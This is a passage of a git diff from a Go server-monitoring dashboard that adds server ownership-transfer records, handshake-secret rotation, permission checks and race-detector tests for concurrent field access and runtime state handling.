+ return false + } + } + return true +} + +// ownerEffectiveFanoutServerIDs returns the server set the runtime dispatch +// will actually fan out to for a resource owned by ownerUID. Admin owners +// short-circuit cronCanSendToServer / canSendServiceTask via userIsAdmin, +// so the safe containment set is the WHOLE system, not just the admin's +// own servers. Member owners stay bounded to their own server set. +// +// Returns nil to signal "topology unknown" — callers (DenyListSafeForLimitedPAT) +// fall back to fail-closed in that case, matching the historical conservative +// branch when OwnerServerIDsLookup was nil. +func ownerEffectiveFanoutServerIDs(ownerUID uint64) []uint64 { + if OwnerIsAdminLookup != nil && OwnerIsAdminLookup(ownerUID) { + if AllServerIDsLookup == nil { + return nil + } + return AllServerIDsLookup() + } + if OwnerServerIDsLookup == nil { + return nil + } + return OwnerServerIDsLookup(ownerUID) +} + func (s *Server) SplitList(x []*Server) ([]*Server, []*Server) { pri := func(s *Server) bool { return s.DisplayIndex == 0 diff --git a/model/server_api.go b/model/server_api.go index 846a4925..c416c4c2 100644 --- a/model/server_api.go +++ b/model/server_api.go @@ -21,8 +21,12 @@ type StreamServerData struct { } type ServerForm struct { - Name string `json:"name,omitempty"` - Note string `json:"note,omitempty" validate:"optional"` // 管理员可见备注 + Name string `json:"name,omitempty"` + Note string `json:"note,omitempty" validate:"optional"` // 管理员可见备注 + // PublicNote is opaque public metadata consumed by independently maintained + // user themes. The Dashboard stores/transports it but never renders it as + // HTML or navigates URL-like fields. Themes must validate schemes before + // using nested values such as customData.orderLink in href/window.open. PublicNote string `json:"public_note,omitempty" validate:"optional"` // 公开备注 DisplayIndex int `json:"display_index,omitempty" default:"0"` // 展示排序，越大越靠前 HideForGuest bool `json:"hide_for_guest,omitempty" validate:"optional"` // 对游客隐藏 diff --git a/model/server_owner_json_test.go b/model/server_owner_json_test.go new file mode 100644 index 00000000..4c0e7119 --- /dev/null +++ b/model/server_owner_json_test.go @@ -0,0 +1,129 @@ +package model + +import ( + "encoding/json" + "testing" +) + +// Server.MarshalJSON projects Server.UserID into a public owner field while +// keeping the raw UserID json-hidden. The lookup function is package-level +// and shared across tests; each subtest installs its own stub and restores +// the original to avoid leaking state. +func TestServerMarshalJSONOwnerProjection(t *testing.T) { + original := ServerOwnerLookup + t.Cleanup(func() { ServerOwnerLookup = original }) + + tests := []struct { + name string + uid uint64 + lookup func(uid uint64) (ServerOwnerInfo, bool) + wantID uint64 + wantHasName bool + wantName string + }{ + { + // uid=0 is the legacy global agent secret pseudo-owner. The + // lookup deliberately returns ok=false so the frontend can + // render it as "Global Agent" instead of a real username. + name: "uid_zero_has_no_username", + uid: 0, + lookup: func(uint64) (ServerOwnerInfo, bool) { + return ServerOwnerInfo{}, false + }, + wantID: 0, + wantHasName: false, + }, + { + // Known user → username flows through to the wire so the + // admin frontend can show it without a separate /user fetch + // (which members cannot call anyway). + name: "known_user_has_username", + uid: 42, + lookup: func(uid uint64) (ServerOwnerInfo, bool) { + return ServerOwnerInfo{ID: uid, Username: "alice"}, true + }, + wantID: 42, + wantHasName: true, + wantName: "alice", + }, + { + // Deleted user → lookup returns ok=false. The wire still + // carries owner.id so the frontend can render an "Unknown + // user (#id)" placeholder; otherwise the row would silently + // appear ownerless and ops would lose the audit trail. + name: "deleted_user_keeps_id_without_username", + uid: 999, + lookup: func(uint64) (ServerOwnerInfo, bool) { + return ServerOwnerInfo{}, false + }, + wantID: 999, + wantHasName: false, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + ServerOwnerLookup = tc.lookup + s := &Server{Common: Common{ID: 7, UserID: tc.uid}, Name: "srv"} + + raw, err := json.Marshal(s) + if err != nil { + t.Fatalf("marshal: %v", err) + } + + var got struct { + Owner *ServerOwnerInfo `json:"owner"` + // Owner must never appear as the raw uid via Common.UserID; + // the Common.UserID json tag is "-" and a regression that + // flips it to "user_id" would expose internal owner ids + // to the wire bypassing the lookup-controlled rendering. + UserID *uint64 `json:"user_id,omitempty"` + } + if err := json.Unmarshal(raw, &got); err != nil { + t.Fatalf("unmarshal: %v", err) + } + + if got.UserID != nil { + t.Fatalf("Common.UserID must not appear on the wire as user_id, got %d", *got.UserID) + } + if got.Owner == nil { + t.Fatalf("owner field must always be present, raw=%s", raw) + } + if got.Owner.ID != tc.wantID { + t.Fatalf("owner.id=%d, want %d", got.Owner.ID, tc.wantID) + } + if tc.wantHasName { + if got.Owner.Username != tc.wantName { + t.Fatalf("owner.username=%q, want %q", got.Owner.Username, tc.wantName) + } + } else if got.Owner.Username != "" { + t.Fatalf("owner.username must be omitted for uid=%d, got %q", tc.uid, got.Owner.Username) + } + }) + } +} + +// When no lookup is installed (tests / headless tools), MarshalJSON must +// still emit a minimal owner record so consumers do not crash on missing +// fields. Without this guard a future refactor could silently drop the +// owner key entirely whenever the hook is nil. +func TestServerMarshalJSONEmitsOwnerWithoutLookup(t *testing.T) { + original := ServerOwnerLookup + t.Cleanup(func() { ServerOwnerLookup = original }) + ServerOwnerLookup = nil + + raw, err := json.Marshal(&Server{Common: Common{ID: 1, UserID: 17}, Name: "srv"}) + if err != nil { + t.Fatalf("marshal: %v", err) + } + + var got struct { + Owner *ServerOwnerInfo `json:"owner"` + } + if err := json.Unmarshal(raw, &got); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if got.Owner == nil || got.Owner.ID != 17 || got.Owner.Username != "" { + t.Fatalf("expected bare owner record {id:17}, got %+v", got.Owner) + } +} diff --git a/model/server_owner_race_test.go b/model/server_owner_race_test.go new file mode 100644 index 00000000..aa93d83f --- /dev/null +++ b/model/server_owner_race_test.go @@ -0,0 +1,86 @@ +package model + +import ( + "net/http/httptest" + "sync" + "testing" + + "github.com/gin-gonic/gin" +) + +// Server.UserID 在 server-transfer rotation 流程里会被 ServerTransfer 的 +// Register/revertTransition 改写以反映新所有者，同时 authorizeAgentForUUID +// 在每次 agent RPC 里读取它。原实现两处都是裸字段访问，race detector 会 +// 报告 data race；这是 review 评分 75 的真实问题。 +// +// 修复后所有并发读写都走 SetUserID/GetUserID 的 atomic 包装，本测试在 +// `go test -race` 下应该完全跑干净。 +func TestServerUserIDConcurrentAccessIsRaceFree(t *testing.T) { + s := &Server{} + + const ( + writers = 4 + readers = 8 + rounds = 500 + ) + var wg sync.WaitGroup + wg.Add(writers + readers) + + for i := 0; i < writers; i++ { + uid := uint64(i + 1) + go func() { + defer wg.Done() + for j := 0; j < rounds; j++ { + s.SetUserID(uid) + } + }() + } + for i := 0; i < readers; i++ { + go func() { + defer wg.Done() + for j := 0; j < rounds; j++ { + _ = s.GetUserID() + } + }() + } + wg.Wait() +} + +// Common.HasPermission 是 server-transfer 旋转下与 SetUserID 并发的主要读者 +// 之一：dashboard 各 controller 的 listHandler post-filter 在 transfer 窗口 +// 内不断对同一 *Server 调用 HasPermission，而 Register/revertTransition 同 +// 时通过 SetUserID 改写所属用户。原实现的 `user.ID == c.UserID` 是裸读，会 +// 与 atomic.StoreUint64 形成 data race（go test -race 必爆）。修复后改成走 +// GetUserID() 走 atomic 协议。这个测试就是用来在 -race 下钉死该不变量的。 +func TestCommonHasPermissionConcurrentWithSetUserIDIsRaceFree(t *testing.T) { + s := &Server{Common: Common{ID: 1}} + + const ( + writers = 4 + readers = 8 + rounds = 500 + ) + var wg sync.WaitGroup + wg.Add(writers + readers) + + for i := 0; i < writers; i++ { + uid := uint64(i + 1) + go func() { + defer wg.Done() + for j := 0; j < rounds; j++ { + s.SetUserID(uid) + } + }() + } + for i := 0; i < readers; i++ { + go func() { + defer wg.Done() + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 2}, Role: RoleMember}) + for j := 0; j < rounds; j++ { + _ = s.HasPermission(ctx) + } + }() + } + wg.Wait() +} diff --git a/model/server_runtime_ownership_test.go b/model/server_runtime_ownership_test.go new file mode 100644 index 00000000..970ac7df --- /dev/null +++ b/model/server_runtime_ownership_test.go @@ -0,0 +1,369 @@ +package model + +import ( + "context" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + pb "github.com/nezhahq/nezha/proto" +) + +type runtimeOwnershipStream struct{} + +func (runtimeOwnershipStream) Send(*pb.Receipt) error { return nil } +func (runtimeOwnershipStream) Recv() (*pb.State, error) { return nil, context.Canceled } +func (runtimeOwnershipStream) SetHeader(metadata.MD) error { return nil } +func (runtimeOwnershipStream) SendHeader(metadata.MD) error { return nil } +func (runtimeOwnershipStream) SetTrailer(metadata.MD) {} +func (runtimeOwnershipStream) Context() context.Context { return context.Background() } +func (runtimeOwnershipStream) SendMsg(any) error { return nil } +func (runtimeOwnershipStream) RecvMsg(any) error { return nil } + +func TestServerRuntimeOwnership_replacementAdoptsHolderBeforeFirstAttach(t *testing.T) { + old := &Server{State: &HostState{Uptime: 1}, Host: &Host{BootTime: 10}} + newServer := &Server{} + var lease StateStreamLease + started := make(chan struct{}) + var waitGroup sync.WaitGroup + waitGroup.Add(1) + go func() { + defer waitGroup.Done() + close(started) + lease = old.AttachStateStream(runtimeOwnershipStream{}) + }() + <-started + newServer.CopyFromRunningServer(old) + waitGroup.Wait() + + require.True(t, newServer.UpdateStateIfCurrent(lease, &HostState{Uptime: 2}, time.Unix(2, 0))) + snapshot := newServer.RuntimeSnapshot() + require.Equal(t, uint64(2), snapshot.State.Uptime) + require.Equal(t, time.Unix(2, 0), snapshot.LastActive) + require.False(t, old.ClearStateStreamIfCurrent(lease)) +} + +func TestServerRuntimeOwnership_oldLeaseMutatesCanonicalAfterReplacement(t *testing.T) { + old := &Server{} + InitServer(old) + lease := old.AttachStateStream(runtimeOwnershipStream{}) + newServer := &Server{} + newServer.CopyFromRunningServer(old) + + require.True(t, newServer.UpdateStateIfCurrent(lease, &HostState{Uptime: 7}, time.Unix(7, 0))) + snapshot := newServer.RuntimeSnapshot() + require.Equal(t, uint64(7), snapshot.State.Uptime) + require.Equal(t, time.Unix(7, 0), snapshot.LastActive) + require.False(t, old.ClearStateStreamIfCurrent(lease)) + require.True(t, newServer.ClearStateStreamIfCurrent(lease)) + require.True(t, newServer.RuntimeSnapshot().LastActive.IsZero()) +} + +func TestServerRuntimeOwnership_leaseMutatesCanonicalWithoutReceiver(t *testing.T) { + // Given + old := &Server{} + InitServer(old) + lease := old.AttachStateStream(runtimeOwnershipStream{}) + canonical := &Server{} + canonical.CopyFromRunningServer(old) + + // When + accepted := lease.UpdateState(&HostState{Uptime: 19}, time.Unix(19, 0)) + + // Then + require.True(t, accepted) + require.Equal(t, uint64(19), canonical.RuntimeSnapshot().State.Uptime) + require.Equal(t, time.Unix(19, 0), canonical.RuntimeSnapshot().LastActive) +} + +func TestServerRuntimeOwnership_oldReceiverMutatorsCannotChangeCanonical(t *testing.T) { + // Given + old := &Server{} + InitServer(old) + lease := old.AttachStateStream(runtimeOwnershipStream{}) + canonical := &Server{} + canonical.CopyFromRunningServer(old) + + // When + hostChanged := old.SetHost(&Host{Version: "stale"}) + snapshotChanged := old.SetTransferSnapshots(91, 92) + inbound, outbound, deltaIn, deltaOut := old.TransferDeltaAndAdvance() + + // Then + require.False(t, hostChanged) + require.False(t, snapshotChanged) + require.Equal(t, uint64(0), inbound) + require.Equal(t, uint64(0), outbound) + require.Equal(t, uint64(0), deltaIn) + require.Equal(t, uint64(0), deltaOut) + require.Empty(t, canonical.RuntimeSnapshot().Host.Version) + require.Equal(t, uint64(0), canonical.RuntimeSnapshot().PrevTransferInSnapshot) + require.Equal(t, uint64(0), canonical.RuntimeSnapshot().PrevTransferOutSnapshot) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 10, NetOutTransfer: 20}, time.Unix(20, 0))) +} + +func TestServerRuntimeOwnership_copyFallbackPreservesHost(t *testing.T) { + // Given + old := &Server{Host: &Host{Version: "fallback"}, State: &HostState{Uptime: 4}, LastActive: time.Unix(4, 0), PrevTransferInSnapshot: 5, PrevTransferOutSnapshot: 6} + canonical := &Server{} + + // When + canonical.CopyFromRunningServer(old) + + // Then + snapshot := canonical.RuntimeSnapshot() + require.Equal(t, "fallback", snapshot.Host.Version) + require.Equal(t, uint64(4), snapshot.State.Uptime) + require.Equal(t, time.Unix(4, 0), snapshot.LastActive) + require.Equal(t, uint64(5), snapshot.PrevTransferInSnapshot) + require.Equal(t, uint64(6), snapshot.PrevTransferOutSnapshot) +} + +func TestServerRuntimeSnapshot_isSafeDuringStateUpdates(t *testing.T) { + server := &Server{} + InitServer(server) + lease := server.AttachStateStream(runtimeOwnershipStream{}) + var waitGroup sync.WaitGroup + waitGroup.Add(2) + go func() { + defer waitGroup.Done() + for index := uint64(1); index <= 500; index++ { + server.UpdateStateIfCurrent(lease, &HostState{Uptime: index, GPU: []float64{float64(index)}}, time.Unix(int64(index), 0)) + } + }() + go func() { + defer waitGroup.Done() + for index := 0; index < 500; index++ { + snapshot := server.RuntimeSnapshot() + require.NotNil(t, snapshot.State) + if snapshot.State.Uptime > 0 { + require.Len(t, snapshot.State.GPU, 1) + } + } + }() + waitGroup.Wait() +} + +func TestServerRuntimeOwnership_restartHostReportUsesCurrentCanonicalOnce(t *testing.T) { + // Given + old := &Server{} + InitServer(old) + lease := old.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 140, NetOutTransfer: 90}, time.Unix(10, 0))) + require.True(t, old.SetTransferSnapshots(100, 70)) + middle := &Server{} + middle.CopyFromRunningServer(old) + current := &Server{} + current.CopyFromRunningServer(middle) + + // When + result, err := old.RuntimeHandle().ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), nil) + + // Then + require.NoError(t, err) + require.True(t, result.Applied) + require.True(t, result.Restart) + require.Equal(t, current.ID, result.ServerID) + require.Equal(t, uint64(40), result.Transfer.In) + require.Equal(t, uint64(20), result.Transfer.Out) + require.Equal(t, uint64(0), current.RuntimeSnapshot().PrevTransferInSnapshot) + require.Equal(t, uint64(0), current.RuntimeSnapshot().PrevTransferOutSnapshot) + require.Equal(t, uint64(20), current.RuntimeSnapshot().Host.BootTime) + + secondResult, secondErr := old.RuntimeHandle().ApplyHostReport(&Host{BootTime: 20}, time.Unix(21, 0), nil) + require.NoError(t, secondErr) + require.True(t, secondResult.Applied) + require.True(t, secondResult.Equal) + require.Zero(t, secondResult.Transfer) +} + +func TestServerRuntimeOwnership_hostReportPersistenceFailurePreservesRuntime(t *testing.T) { + // Given + old := &Server{} + InitServer(old) + lease := old.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 140, NetOutTransfer: 90}, time.Unix(10, 0))) + require.True(t, old.SetTransferSnapshots(100, 70)) + current := &Server{} + current.CopyFromRunningServer(old) + handle := old.RuntimeHandle() + before := current.RuntimeSnapshot() + + // When + _, err := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), func(Transfer) error { + return context.Canceled + }) + + // Then + require.ErrorIs(t, err, context.Canceled) + after := current.RuntimeSnapshot() + require.Equal(t, before.Host, after.Host) + require.Equal(t, before.State, after.State) + require.Equal(t, before.LastActive, after.LastActive) + require.Equal(t, before.PrevTransferInSnapshot, after.PrevTransferInSnapshot) + require.Equal(t, before.PrevTransferOutSnapshot, after.PrevTransferOutSnapshot) +} + +func TestServerRuntimeOwnership_hostReportRetryPersistsExactlyOnce(t *testing.T) { + // Given + server := &Server{Common: Common{ID: 41}, UUID: "server-41"} + InitServer(server) + lease := server.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 20, NetOutTransfer: 30}, time.Unix(10, 0))) + require.True(t, server.SetTransferSnapshots(5, 10)) + callbackCalls := 0 + callback := func(transfer Transfer) error { + callbackCalls++ + if callbackCalls == 1 { + return context.Canceled + } + return nil + } + handle := server.RuntimeHandle() + + // When + first, firstErr := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), callback) + second, secondErr := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), callback) + third, thirdErr := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(21, 0), callback) + + // Then + require.ErrorIs(t, firstErr, context.Canceled) + require.NoError(t, secondErr) + require.NoError(t, thirdErr) + require.Equal(t, 2, callbackCalls) + require.Equal(t, uint64(15), second.Transfer.In) + require.Equal(t, uint64(20), second.Transfer.Out) + require.True(t, third.Equal) + require.Zero(t, third.Transfer) + _ = first +} + +func TestServerRuntimeOwnership_hostReportClassifiesLowerAndEqualWithoutRestart(t *testing.T) { + // Given + server := &Server{Common: Common{ID: 42}, UUID: "server-42"} + InitServer(server) + require.True(t, server.SetHost(&Host{BootTime: 20, Version: "old"})) + lease := server.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{Uptime: 7, NetInTransfer: 30}, time.Unix(7, 0))) + require.True(t, server.SetTransferSnapshots(12, 0)) + persistCalls := 0 + persist := func(Transfer) error { persistCalls++; return nil } + handle := server.RuntimeHandle() + + // When + lower, lowerErr := handle.ApplyHostReport(&Host{BootTime: 19, Version: "stale"}, time.Unix(8, 0), persist) + equal, equalErr := handle.ApplyHostReport(&Host{BootTime: 20, Version: "new"}, time.Unix(9, 0), persist) + + // Then + require.NoError(t, lowerErr) + require.True(t, lower.Stale) + require.NoError(t, equalErr) + require.True(t, equal.Equal) + require.Zero(t, persistCalls) + snapshot := server.RuntimeSnapshot() + require.Equal(t, "new", snapshot.Host.Version) + require.Equal(t, uint64(7), snapshot.State.Uptime) + require.Equal(t, time.Unix(7, 0), snapshot.LastActive) + require.Equal(t, uint64(12), snapshot.PrevTransferInSnapshot) +} + +func TestServerRuntimeOwnership_hostReportReturnsLatestCanonicalIdentity(t *testing.T) { + // Given + old := &Server{Common: Common{ID: 11}, UUID: "old"} + InitServer(old) + middle := &Server{Common: Common{ID: 22}, UUID: "middle"} + middle.CopyFromRunningServer(old) + current := &Server{Common: Common{ID: 33}, UUID: "current"} + current.CopyFromRunningServer(middle) + + // When + result, err := old.RuntimeHandle().ApplyHostReport(&Host{BootTime: 1}, time.Unix(1, 0), nil) + + // Then + require.NoError(t, err) + require.True(t, result.Applied) + require.Equal(t, current.ID, result.ServerID) + require.Equal(t, current.UUID, result.UUID) +} + +func TestServerRuntimeOwnership_transferAndRestartDoNotDuplicateWhenTransferRunsFirst(t *testing.T) { + // Given + server := &Server{Common: Common{ID: 51}, UUID: "server-51"} + InitServer(server) + lease := server.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 100, NetOutTransfer: 200}, time.Unix(10, 0))) + require.True(t, server.SetTransferSnapshots(40, 80)) + handle := server.RuntimeHandle() + holder := handle.holder + holder.mu.Lock() + hourlyDone := make(chan struct{}) + go func() { + server.TransferDeltaAndAdvance() + close(hourlyDone) + }() + holder.mu.Unlock() + <-hourlyDone + + // When + records := 0 + result, err := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), func(Transfer) error { records++; return nil }) + + // Then + require.NoError(t, err) + require.Equal(t, 1, records) + require.Equal(t, uint64(0), result.Transfer.In) + require.Equal(t, uint64(0), result.Transfer.Out) + require.Equal(t, uint64(51), result.ServerID) + require.Equal(t, uint64(0), server.RuntimeSnapshot().PrevTransferInSnapshot) +} + +func TestServerRuntimeOwnership_restartAndTransferDoNotDuplicateWhenRestartRunsFirst(t *testing.T) { + // Given + server := &Server{Common: Common{ID: 52}, UUID: "server-52"} + InitServer(server) + lease := server.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 100, NetOutTransfer: 200}, time.Unix(10, 0))) + require.True(t, server.SetTransferSnapshots(40, 80)) + handle := server.RuntimeHandle() + result, err := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), func(Transfer) error { return nil }) + require.NoError(t, err) + + // When + inbound, outbound, deltaIn, deltaOut := server.TransferDeltaAndAdvance() + + // Then + require.Equal(t, uint64(60), result.Transfer.In) + require.Equal(t, uint64(120), result.Transfer.Out) + require.Equal(t, uint64(0), inbound) + require.Equal(t, uint64(0), outbound) + require.Equal(t, uint64(0), deltaIn) + require.Equal(t, uint64(0), deltaOut) +} + +func TestServerRuntimeOwnership_failedRestartAllowsHourlyRecordThenRetry(t *testing.T) { + // Given + server := &Server{Common: Common{ID: 53}, UUID: "server-53"} + InitServer(server) + lease := server.AttachStateStream(runtimeOwnershipStream{}) + require.True(t, lease.UpdateState(&HostState{NetInTransfer: 90, NetOutTransfer: 110}, time.Unix(10, 0))) + require.True(t, server.SetTransferSnapshots(30, 50)) + handle := server.RuntimeHandle() + _, err := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), func(Transfer) error { return context.Canceled }) + require.ErrorIs(t, err, context.Canceled) + + // When + _, _, hourlyIn, hourlyOut := server.TransferDeltaAndAdvance() + records := 0 + result, retryErr := handle.ApplyHostReport(&Host{BootTime: 20}, time.Unix(20, 0), func(Transfer) error { records++; return nil }) + + // Then + require.NoError(t, retryErr) + require.Equal(t, uint64(60), hourlyIn) + require.Equal(t, uint64(60), hourlyOut) + require.Equal(t, 1, records) + require.Equal(t, uint64(0), result.Transfer.In) + require.Equal(t, uint64(0), result.Transfer.Out) +} diff --git a/model/server_taskstream_race_test.go b/model/server_taskstream_race_test.go new file mode 100644 index 00000000..8ea53008 --- /dev/null +++ b/model/server_taskstream_race_test.go @@ -0,0 +1,91 @@ +package model + +import ( + "context" + "sync" + "testing" + + pb "github.com/nezhahq/nezha/proto" +) + +// raceProbeStream is the smallest fake of pb.NezhaService_RequestTaskServer +// the race probe needs. We only call Send on it from the test; the embedded +// interface satisfies the rest of the contract with nil-panicking methods we +// never invoke. +type raceProbeStream struct { + pb.NezhaService_RequestTaskServer +} + +func (raceProbeStream) Send(*pb.Task) error { return nil } +func (raceProbeStream) Context() context.Context { return context.Background() } + +// model.Server.TaskStream is read from many goroutines (singleton cron pushes, +// transfer ApplyConfig pushes, terminal/fm proxies, dashboard rpc keepalives, +// per-server batch pushes) and written from exactly one (the gRPC RequestTask +// goroutine on every fresh agent connection). The bare-field access pattern +// `if s.TaskStream != nil { s.TaskStream.Send(...) }` is a data race on the +// interface header (two-word value) and can torn-read into a panic on a +// reconnect. This test pins down "concurrent set + send must be race-free" +// using the Go race detector — without the fix, `go test -race` reports a +// data race on TaskStream; with the fix the field is encapsulated behind +// atomic methods and the test runs clean. Without `-race` both versions are +// indistinguishable, so this test is only meaningful under the race flag — +// run it from CI as `go test -race ./model/`. +func TestServerTaskStreamConcurrentAccessIsRaceFree(t *testing.T) { + s := &Server{} + InitServer(s) + + const ( + writers = 4 + readers = 8 + rounds = 200 + ) + var wg sync.WaitGroup + wg.Add(writers + readers) + + for i := 0; i < writers; i++ { + go func() { + defer wg.Done() + for j := 0; j < rounds; j++ { + s.SetTaskStream(raceProbeStream{}) + s.SetTaskStream(nil) + } + }() + } + for i := 0; i < readers; i++ { + go func() { + defer wg.Done() + for j := 0; j < rounds; j++ { + if stream := s.GetTaskStream(); stream != nil { + _ = stream.Send(nil) + } + } + }() + } + wg.Wait() +} + +func TestServerClearTaskStreamIfCurrentClearsOnlyMatchingStream(t *testing.T) { + s := &Server{} + InitServer(s) + + first := &raceProbeStream{} + second := &raceProbeStream{} + + s.SetTaskStream(first) + if !s.ClearTaskStreamIfCurrent(first) { + t.Fatal("matching current stream must be cleared") + } + if got := s.GetTaskStream(); got != nil { + t.Fatalf("expected cleared task stream, got %T", got) + } + + s.SetTaskStream(first) + s.SetTaskStream(second) + if s.ClearTaskStreamIfCurrent(first) { + t.Fatal("stale stream cleanup must not clear a newer stream") + } + if got := s.GetTaskStream(); got != second { + t.Fatalf("expected newer stream to remain published, got %T", got) + } +} diff --git a/model/server_transfer.go b/model/server_transfer.go new file mode 100644 index 00000000..9ef0cb9d --- /dev/null +++ b/model/server_transfer.go @@ -0,0 +1,138 @@ +package model + +import ( + "time" + + "github.com/gin-gonic/gin" +) + +// ServerTransferStatus represents the lifecycle state of a server ownership +// transfer. A transfer's life starts at Pending (server.user_id has been +// flipped to the new owner; agent still authenticates with the old owner's +// AgentSecret) and ends in exactly one of the terminal states. +type ServerTransferStatus uint8 + +const ( + // ServerTransferStatusPending means the dashboard has flipped Server.UserID + // to the new owner and queued an ApplyConfig task to swap the agent's + // client_secret. Auth still accepts the old owner's AgentSecret for this + // UUID until verification arrives or the transfer times out. + ServerTransferStatusPending ServerTransferStatus = iota + // ServerTransferStatusVerified means the agent successfully reconnected + // using the new owner's AgentSecret. Auth no longer tolerates the old + // owner's secret on this UUID. + ServerTransferStatusVerified + // ServerTransferStatusFailed means the agent explicitly reported the + // ApplyConfig task as unsuccessful (e.g. DisableCommandExecute). The + // dashboard has rolled Server.UserID back to FromUserID. + ServerTransferStatusFailed + // ServerTransferStatusTimeout means the verification window expired + // without the agent reconnecting under the new secret. The dashboard has + // rolled Server.UserID back to FromUserID. + ServerTransferStatusTimeout + // ServerTransferStatusCancelled means an administrator cancelled the + // transfer before any verification event was observed. The dashboard has + // rolled Server.UserID back to FromUserID. + ServerTransferStatusCancelled +) + +// IsTerminal reports whether the status represents a settled transfer. Only +// terminal transfers are eligible for retry and they will never be in the +// pending index. +func (s ServerTransferStatus) IsTerminal() bool { + return s != ServerTransferStatusPending +} + +// ServerTransfer records a single attempt to transfer ownership of one server +// to another user. It is the source of truth for the auth-tolerance window +// during a transfer — service/rpc.authorizeAgentForUUID consults the pending +// index built from this table to decide whether to accept the old owner's +// AgentSecret on the affected UUID. +// +// Naming note: the existing model.Transfer records hourly traffic snapshots +// and is unrelated. This entity is named ServerTransfer to disambiguate. +type ServerTransfer struct { + Common + ServerID uint64 `json:"server_id" gorm:"index"` + FromUserID uint64 `json:"from_user_id"` + ToUserID uint64 `json:"to_user_id"` + InitiatorID uint64 `json:"initiator_id"` + Status ServerTransferStatus `json:"status" gorm:"index"` + LastError string `json:"last_error,omitempty"` + AckedAt *time.Time `json:"acked_at,omitempty"` + // HandshakeSecret is a per-transfer random credential that PushIfOnline + // delivers in place of the destination user's global AgentSecret. The + // agent treats it as a temporary handshake token: it rotates to this + // secret on the 10s reload, reconnects, and the dashboard's auth path + // recognises it as proof of transfer delivery (MarkVerified). It is + // scoped to this single transfer and to this single UUID — leaking it + // to the previous owner who hijacks the stream still does NOT expose + // the destination user's other agents. Never returned to API clients. + HandshakeSecret string `json:"-" gorm:"type:char(32)"` + // RevertHandshakeSecret is the same idea for the rollback path: when + // the dashboard pushes a revert ApplyConfig over a stream now held by + // the destination user, we must not embed the source user's global + // AgentSecret. Instead the agent rotates back through this token, which + // is recognised by the auth path during the revert window only. + RevertHandshakeSecret string `json:"-" gorm:"type:char(32)"` +} + +// HasPermission overrides Common.HasPermission so a transfer is visible to +// admins, the source user, the destination user, and the initiator. Listing +// uses this to filter what the caller can see; mutating endpoints (cancel, +// retry) layer additional checks on top. +// +// PAT server_ids whitelist is evaluated FIRST, before the admin short- +// circuit, so an admin-issued PAT scoped to a subset of servers cannot +// widen reach by virtue of the caller being an admin. JWT callers (no PAT +// in context) skip the whitelist check. +func (t *ServerTransfer) HasPermission(ctx *gin.Context) bool { + auth, ok := ctx.Get(CtxKeyAuthorizedUser) + if !ok { + return false + } + if v, ok := ctx.Get(CtxKeyAPIToken); ok { + if tok, _ := v.(APITokenAccessor); tok != nil && !tok.CanAccessServer(t.ServerID) { + return false + } + } + user := *auth.(*User) + if user.Role == RoleAdmin { + return true + } + return user.ID == t.FromUserID || user.ID == t.ToUserID || user.ID == t.InitiatorID +} + +// BatchMoveServerResultStatus is the per-server outcome returned by the +// batch-move endpoint. It maps to TransferStatus for transfers that were +// successfully created, plus extra synchronous-failure modes (permission, +// duplicate active transfer, missing server) that never produce a row. +type BatchMoveServerResultStatus string + +const ( + // BatchMoveServerResultPending: ServerTransfer row created, agent push + // in progress. Callers should watch the WS for terminal status. + BatchMoveServerResultPending BatchMoveServerResultStatus = "pending" + // BatchMoveServerResultPermissionDenied: caller cannot move this server. + BatchMoveServerResultPermissionDenied BatchMoveServerResultStatus = "permission_denied" + // BatchMoveServerResultAlreadyTransferring: server already has an in-flight + // ServerTransfer row, cancel or wait first. + BatchMoveServerResultAlreadyTransferring BatchMoveServerResultStatus = "already_transferring" + // BatchMoveServerResultServerNotFound: server id does not exist. + BatchMoveServerResultServerNotFound BatchMoveServerResultStatus = "server_not_found" + // BatchMoveServerResultSameOwner: target user already owns this server. + BatchMoveServerResultSameOwner BatchMoveServerResultStatus = "same_owner" + // BatchMoveServerResultAgentTooOld: agent build does not understand + // TaskTypeServerTransferApply, so the rotation would never complete and + // dashboard refuses to start it. Operator must upgrade the agent. + BatchMoveServerResultAgentTooOld BatchMoveServerResultStatus = "agent_too_old" +) + +// BatchMoveServerResult is one entry in the batchMoveServer response, one +// per requested server id, in the same order. +type BatchMoveServerResult struct { + ServerID uint64 `json:"server_id"` + Status BatchMoveServerResultStatus `json:"status"` + TransferID uint64 `json:"transfer_id,omitempty"` + Error string `json:"error,omitempty"` +} diff --git a/model/service.go b/model/service.go index 72153bc1..fe7e14a0 100644 --- a/model/service.go +++ b/model/service.go @@ -4,6 +4,7 @@ import ( "fmt" "log" + "github.com/gin-gonic/gin" "github.com/goccy/go-json" "github.com/robfig/cron/v3" "gorm.io/gorm" @@ -26,6 +27,186 @@ const ( TaskTypeFM TaskTypeReportConfig TaskTypeApplyConfig + // TaskTypeServerTransferApply: per-transfer credential rotation. + // Pre-transfer agents do not recognise this type — dashboard MUST gate + // transfers on agent capability before pushing. + TaskTypeServerTransferApply + TaskTypeExec + TaskTypeFsList + TaskTypeFsRead + TaskTypeFsWrite + TaskTypeFsDelete + TaskTypeFsTransfer +) + +// IsServiceMonitorType reports whether t is a 